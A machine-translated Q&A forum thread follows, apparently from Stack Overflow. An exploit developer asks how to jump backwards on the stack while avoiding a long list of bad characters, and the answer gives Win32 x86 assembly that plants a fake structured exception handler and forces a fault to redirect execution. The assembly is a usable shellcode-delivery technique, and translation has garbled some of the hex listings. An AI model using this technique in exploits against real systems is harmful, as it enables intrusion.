更新:由于我能够将正确的地址输入到我想要跳转/呼叫的寄存器中,我认为最好的方法是找出一种方法自修改代码导致jmp / call寄存器。防爆。 FFD6调用esi任何人都可以给我一些指示或组装如何获得结果FFD6的例子吗?
我正在搞乱利用漏洞,并且由于角色不好而很难在堆栈中向后移动。我需要移回~460个字节才能到达缓冲区的开头。
以下是不良字符列表:
\ X0A \ X0D \ X1A \ X80 \ X82 \ X83 \ X84 \ X85 \ 86 \的x87 \ X88 \ X89 \ x8a \ x8b \ x8c \ x8e \ X8F \ X91 \ X92 \ X93 \ X94 \ X95 \ X96 \ X97 \ X98 \ X99 \ x9a \ x9b \ x9c \ x9e \ x9f \ XC0 \ XC1 \ XC2 \ XC3 \ XC4 \ XC5 \ XC6 \ xc7 \ xc8 \ xc9 \ XCA \ XCB \ XCC \ XCD \ XCE \ XCF \ XD0 \ XD1 \ XD2 \ XD3 \ XD4 \ XD5 \ XD6 \ XD7 \ XD8 \ xd9 \ XDA \ XDB \ XDC \ XDD \ XDE \ XDF \ xe0 \ XE1 \ XE2 \ XE3 \ XE4 \ xe5 \ XE6 \ XE7 \ xe8 \ xe9 \ xea \ xeb \ xec \ xed \ xee \ xef \ xf0 \ xf1 \ xf2 \ xf3 \ xf4 \ xf5 \ xf6 \ xf7xf8 \ xf9 \ xfa \ xfb \ xfc \ xfd \ xfe \ xff
我限制为x86 \ alpha_mixed,有一些例外,例如x81& x8d。我能够在堆栈中移回的唯一方法是\ x74 \ x81(这是允许的字符),但是我必须这样做4次以取回~460。这不是最大的交易,除了这将使我很难分割我的shellcode,因为我已经将它编码为alpha_mixed。
我不是装配大师,所以我还有其他方法可以在没有jmp或通话(FF)的情况下直接向后移动吗?
答案 0 :(得分:2)
我有一个可行的解决方案,但它只适用于Windows 并基于其他一些假设。
它没有完全优化,我想有更好的方法可以做到这一部分......
; ASSUMPTIONS:
; Platform is Win32
; ESI contains address to be jumped to
; All characters except for 00 and the ones you listed above are allowed
; The contents of the registers after the jump don't matter
; BASIC METHOD:
; 1) Set up a structured exception handler pointing to your target address
; 2) Cause an exception
; Get zero into EAX and EDX
00401000 B8 11111111 MOV EAX, 11111111
00401005 35 11111111 XOR EAX, 11111111
0040100A 50 PUSH EAX
0040100B 5A POP EDX
; First part of the SEH: Push target address
0040100C 56 PUSH ESI
; Second part of the SEH: Read FS:[0] and push it
0040100D 64:0310 ADD EDX, FS:[EAX]
00401010 52 PUSH EDX
; Get zero into EDX again
00401011 50 PUSH EAX
00401012 5A POP EDX
; Write new SEH pointer into FS:[0]
00401013 64:2110 AND FS:[EAX], EDX
00401016 64:0120 ADD FS:[EAX], ESP
; Trigger exception (writing to memory at address zero)
00401019 0110 ADD [EAX], EDX